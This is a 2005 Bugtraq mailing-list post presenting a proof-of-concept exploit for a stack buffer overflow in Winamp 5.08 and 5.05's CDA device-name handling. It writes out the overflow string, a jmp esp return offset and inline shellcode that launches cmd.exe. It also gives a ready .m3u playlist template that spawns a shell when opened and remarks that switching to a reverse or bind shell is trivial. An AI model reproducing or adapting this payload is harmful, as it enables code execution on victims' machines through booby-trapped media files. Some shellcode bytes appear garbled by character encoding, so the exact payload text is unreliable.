Winamp Exploit (POC) 5.08 Stack Overflow

["Rojodos" <rojo2_bugtraq@xxxxxxxx>]

Hello :)

I´ve coded an exploit about this vulnerability, using the advisory "NSFOCUS 
SA2005-01 : Buffer Overflow in WinAMP in_cdda.dll CDA Device Name" as a guide. 
The advisory is very good, so it´s very easy to code the exploit.

This code:

cda://AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHnT 
_IJJJ?å3ÿW?ìÆEøcÆEùmÆEúdÆEû.ÆEüeÆEýxÆEþe¸D?¿wP?]øSÿÐ

Should spawn a shell in a WinXP SP1 with Winamp 5.08, I have used as offset 
0x5f20546e olepro32.dll, a "jmp esp"  (nT _)

?å3ÿW?ìÆEøcÆEùmÆEúdÆEû.ÆEüeÆEýxÆEþe¸D?¿wP?]øSÿÐ is the scode in "printable" 
chars.

I wrote the scode sometime ago, in http://foro.elhacker.net Its a very very 
simple scode, with hardcoded system() call (i´m a noob, sorry xD)

I have used AAAABBBBCCCC... to see how big is the buffer, and to see where the 
ret is overflowed (in 5.08 exactly in HIII)

In Winamp 5.05 works the same code, but the ret is "IIII", so the exploit must 
have another "H":

 cda://AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHnT 
_IJJJ?å3ÿW?ìÆEøcÆEùmÆEúdÆEû.ÆEüeÆEýxÆEþe¸D?¿wP?]øSÿÐ

Then, the exploit works fine in Winamp 5.05 and spawns a shell :)

I have only tested it in 5.08 and 5.05, but I think that its easy to "port" the 
exploit to another version.

These codes can be saved in a archive type m3u (playlist archive Winamp)

If you copy these codes in a text archive like this (Winamp 5.08):

#EXTM3U
#EXTINF:5,DJ Mike Llama - Llama Whippin' Intro
cda://AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHnT 
_IJJJ?å3ÿW?ìÆEøcÆEùmÆEúdÆEû.ÆEüeÆEýxÆEþe¸D?¿wP?]øSÿÐ

(for example, i have used the "demo" archive, DJ Mike Llama and edit the PLAY 
LIST ENTRY)

And save as *.m3u file, if you open this (in this case, I repeat, with Winamp 
5.08), a cmd shell will appear :)

It´s trivial to change the shellcode to make a bindport, reverse shell, etc..

I atach two exploits, one for Winamp 5.08 and the other for Winamp 5.05 (the 
are only de special m3u files)

Sorry about my bad english, I´m spanish :)            (Spain exists :D)

Greets to http://www.elhacker.net  and http://foro.elhacker.net and all the 
people I know, especially "her" (Isthar) :)

THE REAL ELHACKER.NET! :D

Best regards.

Rojodos

rojo2_bugtraq@xxxxxxxx
2005-01-28

Attachment: exploit_Winamp-5.05.m3u
Description: Binary data

Attachment: exploit_Winamp-5.08.m3u
Description: Binary data